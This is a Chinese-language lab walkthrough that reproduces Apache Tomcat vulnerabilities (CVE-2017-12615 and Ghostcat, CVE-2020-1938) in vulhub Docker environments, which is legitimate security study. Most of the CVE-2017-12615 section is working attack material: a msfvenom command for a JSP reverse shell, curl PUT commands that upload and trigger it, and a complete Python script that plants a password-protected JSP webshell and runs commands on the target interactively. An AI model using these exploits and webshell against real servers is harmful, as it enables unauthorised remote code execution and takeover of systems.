前言
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
这次我们将来研究分析Tomcat漏洞。
环境搭建
这里我们选择使用vulhub搭建docker进行漏洞复现。
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境(如果没有),命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
docker-compose -v
到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
之后进入Tomcat的漏洞环境
这里看到有3个漏洞,我们这次目标就是这些漏洞。
漏洞复现
CVE-2017-12615
远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
影响版本:
Apache Tomcat 7.0.0 - 7.0.81
docker-compose build
docker-compose up -d
运行后访问:http://192.168.50.113:8080/
即可看到Tomcat的Example页面。
漏洞产生的主要原因来自于conf/web.xml文件配置错误,readonly开启了false,导致可以使用PUT/DELETE请求方法操作文件。
使用msf生成一个jsp木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
利用curl上传木马:
curl -v -X PUT --data-binary @shell.jsp "http://yourip:8080/shell.jsp/"
使用-v参数输出通信的整个过程,用于调试即可反弹shell
curl -v "http://yourip:8080/shell.jsp/"
也可以利用peiqi师傅的脚本
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import hashlib
import sys
import requests
import random
import re
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2017-12615.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 \033[0m')
print('+ \033[36mCmd >>> shell \033[0m')
print('+ \033[36mCmd >>> exit(退出交互并删除webshell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
md5_filename = str(random.randint(1,999)).encode("utf-8")
file_name = hashlib.md5(md5_filename).hexdigest()
vuln_put_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<%
if("peiqi".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
"""
try:
response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
if response.status_code == 201 or response.status_code == 201:
print("\033[32m[o] 含有CVE-2017-12615漏洞,成功上传shell,文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
def POC_2(target_url, file_name, cmd):
vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
if response.status_code == 200:
print("\033[32m[o] 成功执行命令,响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
def POC_3(target_url, file_name):
vuln_delect_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
if response.status_code == 200 or 201:
print("\033[32m[o] 成功删除shell,文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_name = POC_1(target_url)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
POC_3(target_url, file_name)
sys.exit(0)
else:
POC_2(target_url, file_name, cmd)
CVE-2020-1938
Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响版本:
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
访问http://192.168.50.113:8080/
即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
POC 引用: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
Github上有个非常分方便的工具,如果能上传shell文件还可以直接RCE
https://github.com/00theway/Ghostcat-CNVD-2020-10487
假设已在/WEB-INF目录上传了反弹Shell文件test.jsp
可以直接执行并拿到反弹Shell